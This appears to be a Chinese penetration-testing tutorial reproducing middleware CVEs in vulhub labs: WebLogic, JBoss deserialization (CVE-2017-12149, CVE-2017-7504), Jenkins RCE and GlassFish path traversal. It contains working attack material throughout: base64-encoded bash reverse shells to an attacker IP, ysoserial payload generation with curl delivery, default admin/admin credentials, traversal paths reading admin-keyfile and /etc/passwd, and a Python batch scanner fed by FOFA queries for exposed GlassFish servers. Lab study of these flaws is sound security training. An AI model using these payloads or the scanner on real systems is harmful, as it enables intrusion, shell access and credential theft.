第60天:服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish

目录

思维导图

案例一:中间件-Weblogic-工具探测

[案例二: 中间件-JBoos-工具脚本直接利用](#案例二: 中间件-JBoos-工具脚本直接利用)

弱口令

反序列化命令执行漏洞

CVE-2017-12149

CVE-2017-7504

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

远程命令执行漏洞

案例四:中间件-GlassFish-工具脚本利用


思维导图

案例一:中间件-Weblogic-工具探测

weblogic端口:7001

工具地址: GitHub - ghealer/GUI_Tools: 一个由各种图形化渗透工具组成的工具集

靶场环境

启动利用

输入探测是否有漏洞

有漏洞直接可以命令执行,shell上传

下图所示的都可以用工具一键探测

案例二: 中间件-JBoos-工具脚本直接利用

jboss通常占用的端口为1098,1099,4444,4445,8080,8009,8063,8093

弱口令

fofa搜索: "JBoss" && title=="Welcome to JBoss™"

点击welcome to console

账号密码都是admin,admin

可以尝试进入

反序列化命令执行漏洞

CVE-2017-12149

靶场位置: https://vulhub.org/#/environments/jboss/CVE-2017-12149/

启动docker环境

首先先把反弹shell的语句进行base64位编码

bash -i >& /dev/tcp/192.168.172.132/5566 0>&1

序列化的操作,运行java脚本,echo 后面是反弹shell的base64编码,生成可以利用的poc

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

利用poc进行curl请求/invoker/readonly该地址为进行反序列化的地址,同时kali开启监听

curl http://192.168.172.169:8080/invoker/readonly --data-binary @poc.ser

运行

CVE-2017-7504

靶场环境:https://vulhub.org/#/environments/jboss/CVE-2017-7504/

与CVE-2017-12149命令都一样只是,反序列化请求的地址不同,可以利用同一个poc

该漏洞请求的地址为 /jbossmq-httpil/HTTPServerILServlet,访问该页面存在证明有漏洞

案例三:中间件-Jenkins-工具脚本利用

远程代码执行漏洞

脚本利用地址:GitHub - vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC

该脚本必须使用java"1.8.0_291"才可以正常使用

首先先执行在/tmp下创建一个success文件

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

然后用python脚本执行该poc

python exploit.py http://192.168.172.169:8080 jenkins_poc.ser

进入docker中查看

这里尝试直接利用下面的语句getshell失败,个人猜测,可能是命令太长,各种符号转义了

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -i >& /dev/tcp/192.168.172.132/5566 0>&1"

使用如下命令

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

这段命令是一个 Bash 命令,它执行以下步骤:

  1. echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx

    • echo:将字符串打印到标准输出。
    • 字符串:"bash -i > /dev/tcp/192.168.172.132/5566 0>&1",这是一个 Base64 编码的字符串。
  2. base64,-d

    • base64,-d:对上一步中的字符串进行 Base64 解码。
  3. bash,-i

    • bash,-i:使用 -i 选项启动一个交互式 Bash shell。

因此,整个命令的功能是:

  1. 解码 Base64 编码的字符串,得到一个 Bash 命令:bash -i > /dev/tcp/192.168.172.132/5566 0>&1
  2. 执行这个 Bash 命令,该命令将打开一个到远程主机的反向 shell 连接(使用 TCP 端口 5566),并使 shell 的输入和输出重定向到该连接。

运行结果

远程命令执行漏洞

靶场环境: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

脚本地址:https://github.com/smokeintheshell/CVE-2018-1000861

首先利用该脚本可以直接执行系统命令

直接利用反弹shell的语句,还是失败,猜测转义导致

bash -i >& /dev/tcp/192.168.172.169/5566 0>&1

利用刚才的语句

python 复制代码
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"

成功

案例四:中间件-GlassFish-工具脚本利用

靶场位置

利用语句

读取网站账号密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

读取linux passwd:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

读取windows_ini: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

访问靶场主页面,需要账号密码

直接查看账号密码

查看/etc/passwd

下面是一个python开发的自动化检测是否有直接读取密码,读取linux passwd,Windows ini的脚本

python 复制代码
import requests,time

def read_pass(url):
    urls = 'http://'+url+'/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile'
    try:
        result = requests.get(urls,verify=False).text
        #print(result)
        if 'asadmin' in result:
            print('read_pass:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_windows(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_windows:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)

def read_linux(url):
    urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    try:
        result = requests.get(urls,verify=False).status_code
        if result == 200:
            print('read_linux:'+ url + '-->ok')
        else:
            print(url + '-->false')
    except Exception as e:
        time.sleep(0.1)


if __name__ == '__main__':
    for url in open("ips.txt"):
        read_pass(url)
        read_windows(url)
        read_linux(url)

fofa搜索:"glassfish" && port="4848" && protocol="http"

利用fofaviewer保存ip到ips.txt利用

运行结果如图,不方便展示。

相关推荐
北京搜维尔科技有限公司8 分钟前
搜维尔科技:【应用】Xsens在荷兰车辆管理局人体工程学评估中的应用
人工智能·安全
云起无垠26 分钟前
技术分享 | 大语言模型赋能软件测试:开启智能软件安全新时代
人工智能·安全·语言模型
ac-er88881 小时前
PHP弱类型安全问题
开发语言·安全·php
One_Blanks1 小时前
渗透测试-Linux基础(1)
linux·运维·安全
易云码1 小时前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码
newxtc2 小时前
【客观理性深入讨论国产中间件及数据库-科创基础软件】
数据库·中间件·国产数据库·国产中间件·科创
idealzouhu2 小时前
【canal 中间件】canal 常见的启动方式
中间件
Qspace丨轻空间2 小时前
气膜场馆:推动体育文化旅游创新发展的关键力量—轻空间
大数据·人工智能·安全·生活·娱乐
Suckerbin4 小时前
Hms?: 1渗透测试
学习·安全·网络安全
Diamond技术流4 小时前
从0开始学习Linux——网络配置
linux·运维·网络·学习·安全·centos